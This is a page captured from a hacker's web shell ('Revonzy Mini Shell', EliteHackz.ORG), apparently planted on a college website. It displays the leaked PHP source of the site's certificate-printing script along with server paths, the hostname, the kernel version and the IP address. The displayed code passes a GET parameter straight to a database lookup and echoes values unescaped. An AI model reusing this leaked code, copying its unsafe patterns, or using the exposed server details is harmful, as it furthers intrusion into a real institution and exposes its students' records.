Revonzy Mini Shell

Revonzy Mini Shell

Şuanki Dizin: /home/wwwdreamtechnolo/www/spmsolapur.org/mis_software/
Dosya Yükle :
Şuanki Dosya : /home/wwwdreamtechnolo/www/spmsolapur.org/mis_software/bonafide-character-certificate.php

<?php
	require_once('lib/functions.php');
	$db		=	new db_functions();
	
	if(!isset($_SESSION['login_admin_user_id']))
	{
		header("location:index.php");
	}
	if(isset($_SESSION['acd_year']))
	{
		$acd_year=$_SESSION['acd_year'];
	}

	$res_id						=	"";
	$res_class					=	"";
	$res_medium					=	"";
	$res_division				=	"";
	$res_roll_no				=	"";
	$res_surname				=	"";
	$res_stud_name				=	"";
	$res_father_name			=	"";
	$res_mother_name			=	"";
	$res_stud_cont				=	"";
	$res_father_cont			=	"";
	$res_mother_cont			=	"";
	$res_residential_no			=	"";
	$res_address				=	"";
	$res_corres_add				=	"";
	$res_child_desc				=	"";
	$res_email					=	"";
	$res_aadhar_no				=	"";
	$res_religion				=	"";
	$res_caste					=	"";
	$res_category				=	"";
	$res_mother_tongue			=	"";
	$res_nationality			=	"";
	$res_birth_palce			=	"";
	$res_birth_date				=	"";
	$res_gender					=	"";
	$res_last_school			=	"";
	$res_admission_date			=	"";
	$res_student_image			=	"";
	$res_remarks				=	"";
	$res_no_of_pupil			=	"";
	$res_stud_id_for_lc			=	"";
	$res_date					=	"";
	$res_certifi_no				=	"";
	$res_progress				=	"";
	$res_conduct				=	"";
	$res_leaving_school_date	=	"";
	$res_standard_sinse_when	=	"";
	$res_leaving_school_reason	=	"";
	$res_gr_no					=	"";
	$birth_date					=	"";
	
	$res_sanstha_center		=	"";
	$res_school_clg_name	=	"";
	$res_clg_address		=	"";
	$res_phone_no			=	"";
	$res_email_id			=	"";
	$res_recognition_no		=	"";
	$res_udise_no			=	"";
	$res_board				=	"";
	$res_clg_medium			=	"";
	$res_index_no			=	"";
	$res_clg_logo			=	"";
	$res_clg_date			=	"";
	
	
	if(isset($_GET['print_bonafide']))
	{
		$res_id	=	$_GET['print_bonafide'];
		
		$data	=	array();
		
		$data	=	$db->get_all_student_info_for_certificate($res_id);
	
		if(!empty($data))
		{
			$res_id						=	$data[0];
			$res_class					=	$data[1];
			$res_medium					=	$data[2];
			$res_division				=	$data[3];
			$res_roll_no				=	$data[4];
			$res_surname				=	$data[5];
			$res_stud_name				=	$data[6];
			$res_father_name			=	$data[7];
			$res_mother_name			=	$data[8];
			$res_stud_cont				=	$data[9];
			$res_father_cont			=	$data[10];
			$res_mother_cont			=	$data[11];
			$res_residential_no			=	$data[12];
			$res_address				=	$data[13];
			$res_corres_add				=	$data[14];
			$res_child_desc				=	$data[15];
			$res_email					=	$data[16];
			$res_aadhar_no				=	$data[17];
			$res_religion				=	$data[18];
			$res_caste					=	$data[19];
			$res_category				=	$data[20];
			$res_mother_tongue			=	$data[21];
			$res_nationality			=	$data[22];
			$res_birth_palce			=	$data[23];
			$res_birth_date				=	$data[24];
			$res_gender					=	$data[25];
			$res_last_school			=	$data[26];
			$res_admission_date			=	$data[27];
			$res_student_image			=	$data[28];
			$res_remarks				=	$data[29];
			$res_no_of_pupil			=	$data[30];
			$res_stud_id_for_lc			=	$data[31];
			$res_gr_no					=	$data[32];
			$res_certifi_no				=	$data[33];
			$res_progress				=	$data[34];
			$res_conduct				=	$data[35];
			$res_leaving_school_date	=	$data[36];
			$res_standard_sinse_when	=	$data[37];
			$res_leaving_school_reason	=	$data[38];
			$res_date					=	$data[39];
			$res_birth_district			=	$data[40];
			$res_birth_state			=	$data[41];
			$res_birth_country			=	$data[42];
			$class_name		=	$db->get_class_name($res_class);
			//$date_data	=	explode("-",$res_birth_date);
			
			//$birth_date = $date_data[2]."-".$date_data[1]."-".$date_data[0];
			
			
				
			
			$date	=	date("d-m-Y");
			
		}
	}
	
	$setting_data	=	array();
		
	$setting_data	=	$db->get_all_settings_data();
	
	if(!empty($setting_data))
	{
		$counter	=	0;
		
		foreach($setting_data as $record)
		{
			$res_id					=	$setting_data[$counter][0];
			$res_sanstha_center		=	$setting_data[$counter][1];
			$res_school_clg_name	=	$setting_data[$counter][2];
			$res_clg_address		=	$setting_data[$counter][3];
			$res_phone_no			=	$setting_data[$counter][4];
			$res_email_id			=	$setting_data[$counter][5];
			$res_recognition_no		=	$setting_data[$counter][6];
			$res_udise_no			=	$setting_data[$counter][7];
			$res_board				=	$setting_data[$counter][8];
			$res_clg_medium			=	$setting_data[$counter][9];
			$res_index_no			=	$setting_data[$counter][10];
			$res_clg_logo			=	$setting_data[$counter][11];
			$res_clg_date			=	$setting_data[$counter][12];
			$res_college_name		=	$setting_data[$counter][13];
			$res_college_logo		=	$setting_data[$counter][14];
		}
			
	}

?>
<!DOCTYPE html>
<html>
<head>
<title><?php echo $application_title; ?></title>
<style>
.leaving_lbl
{
	font-size:26px; 
	text-align:center; 
	margin-top:5px;
	margin-bottom:10px;
	font-weight:bold;
	 font-style: italic;
}

.logo_img
{
	position:absolute;
	height:150px;
	width:150px;
	left:120px;
	top:60px;
}
table {
	border-collapse: collapse;	
}
td, th {
	border: 1px solid #666666;
	text-align: left;
	padding: 8px;
	word-wrap:break-word;
	word-break:break-all;
}
.head_d
{
	text-align:center;
	margin:5px;
}
.main_p_container
{
	font-family:Cambria;
	margin-top:10px; 
	font-size:14px;
}
p
{
     font-style: italic;
     font-size:26px;
     line-height:45px;
}
@media print {
  @page { 
    margin-left: 20; 
	margin-right:30px;
	margin-top:20px;
  }
  body {

  }
  .logo_img
  {
	  	
	 left:50px;
  }
}
body
{
	font-family:cambria;
}
.header_info
{
	text-align:center;
	line-height:25px;
}
.head_label
{
	font-weight:bold;
}
.main_title
{
	margin:5px;
	font-size:36px;
}
.bullet_icon
{
	height:14px;
	margin-bottom:-2px;
	margin-right:5px;
}
.left_cont
{
	float:left;
	width:400px;
	margin-top:8px;
	line-height:25px;
}
.right_cont
{
	float:right;
	width:300px;
	margin-top:8px;
	text-align:left;
	line-height:25px;
}
.main_body_contain
{
	text-align:justify;
	line-height:35px;
	font-size:17px;
}
.subcontainer
{
	width:100%;
	display:inline-table;
}
.lft_head
{
	font-weight:bold;
}
.chk_txt
{
	font-weight:bold;
	margin-top:120px;
	margin-bottom:30px;
	text-align:left;
	font-size:24px;
	margin-left:100px;
}
.date_lbl
{
	Float:right;
	margin-right:20px;
}
.gr_no
{
	float:left;
	margin-left:20px;
	font-size:22px;
}
.stud_img
{
	display: block;
   float:right;
	height:190px;
	width:190px;
	margin-top:0px;
	margin-right:350px;
}
</style>
</head>
<body>

<div id="wrapper" style="float:none; margin:auto; width:900px; padding-left:25px;">

<div style="main_p_container">
	<!--<p class="head_d">(No change in any entry in this certificate shall be made except by the authority issuing it and any infringement of this requirement is liable to involve the imposition of penalty such as that of rustication.)</p>-->
<div class="header_info">
	<img src="student_data/<?php echo $res_clg_logo; ?>" class="logo_img" />
	
	
	<label class="head_label"><?php echo $res_sanstha_center; ?></label><br />
	<h2 class="main_title"><?php echo $res_school_clg_name; ?></h2>
	<label class="label4_format"><strong></strong> <?php echo $res_clg_address; ?>, <b>Phone -</b> <?php echo $res_phone_no; ?><br />
	  <b>Email Id - </b><?php echo $res_email_id; ?></label><br />
		<label class="head_label">Affiliated by MSBTE, Mumbai Approved by AICTE , New Delhi</label><br />

	<strong>(Registration No. <?php echo $res_recognition_no; ?>)</strong><br />
	<strong><img src="images/bullet.png" class="bullet_icon" />MSBTE Code : </strong> <?php echo $res_udise_no; ?>,
	<strong><img src="images/bullet.png" class="bullet_icon" />Website :</strong> <?php echo $res_board; ?> , 
	
	<strong><img src="images/bullet.png" class="bullet_icon" />DTE No. :</strong> <?php echo $res_index_no; ?> <br />
	
	-------------------------------------------------------------------------------------------------------------------------------------------------------------------------
	<div>
	<label class="gr_no"><strong>G. R.No :</strong> <?php echo $res_no_of_pupil;?></label>
	<label class="date_lbl"><strong>Date :</strong> <?php echo $date; ?></label>
	</div>
	<br /><br />
	
	<label class="leaving_lbl">BONAFIDE & CHARACTER CERTIFICATE</label>
	</div>
	<br />

	<div class="main_body_contain">
		<?php
			
			$disp_year =	"";
			
			$cur_month	=	date("m");
			
			if($cur_month=="06" OR $cur_month=="07" OR $cur_month=="08" OR $cur_month=="09" OR $cur_month=="10" OR $cur_month=="11" OR $cur_month=="12")
			{
				$now_year =	date("Y");
				
				$disp_year = $now_year."-".($now_year+1);
			}
			else if($cur_month=="01" OR $cur_month=="02" OR $cur_month=="03" OR $cur_month=="04" OR $cur_month=="05")
			{
				$now_year =	date("Y");
				
				$d_date = $now_year-1;
				$disp_year = $d_date."-".$now_year;
			}
		?>
		
		<p> &nbsp &nbsp  &nbsp &nbsp  &nbsp &nbsp   <?php if($res_gender=="Male"){echo "Kumar";}else{ echo "Kumari";}?> <?php echo $res_surname." ".$res_stud_name." ".$res_father_name; ?> is/was a bonafide student of this College studying in <?php echo $res_medium." ".$class_name." -".$res_division; ?>  during the academic year <?php echo $disp_year; ?>.   <?php if($res_gender=="Male"){echo "His";}else{echo "Her";}?> birth date is <?php echo $res_birth_date; ?>.  <br />  &nbsp  &nbsp  &nbsp &nbsp   &nbsp &nbsp  <?php if($res_gender=="Male"){echo "He";}else{echo "She";}?> is/was regular in attendance. To the Best of my knowledge <?php if($res_gender=="Male"){echo "He";}else{echo "She";}?> bears a good moral character.</p>
	</div>
	<br /> <br /> <br />
	<?php
			if($res_student_image!="")
			{
		?>
		<!--<img src="/images/usericon.jpg" class="stud_img" width="80" height="80">-->
		<a href="student_data/<?php echo $res_student_image; ?>" target="_blank"><img src="student_data/<?php echo $res_student_image;?>" class="stud_img" /></a>
		<?php
			}
			else
			{
		?>
			<img src="images/usericon.jpg" class="stud_img" width="50" height="50">
		<?php
			}
		?>
	<br />
	
	<div class="chk_txt">
		
		<label> <span style="font-weight:normal !important;margin-left:-19px">(Mrs. Rohini Chavan) </span><br /><span style="font-weight:normal !important; margin-left:30px !important;">PRINCIPAL</span></label>
	</div>
	
</div>
</div>
</body>

</html>
<script>
window.print();
</script>

EliteHackz.ORG
Revonzy Mini Shell
root@revonzy.com

Linux 65-254-81-4.cprapid.com 5.14.0-284.11.1.el9_2.x86_64 #1 SMP PREEMPT_DYNAMIC Tue May 9 05:49:00 EDT 2023 x86_64
Apache
65.254.81.4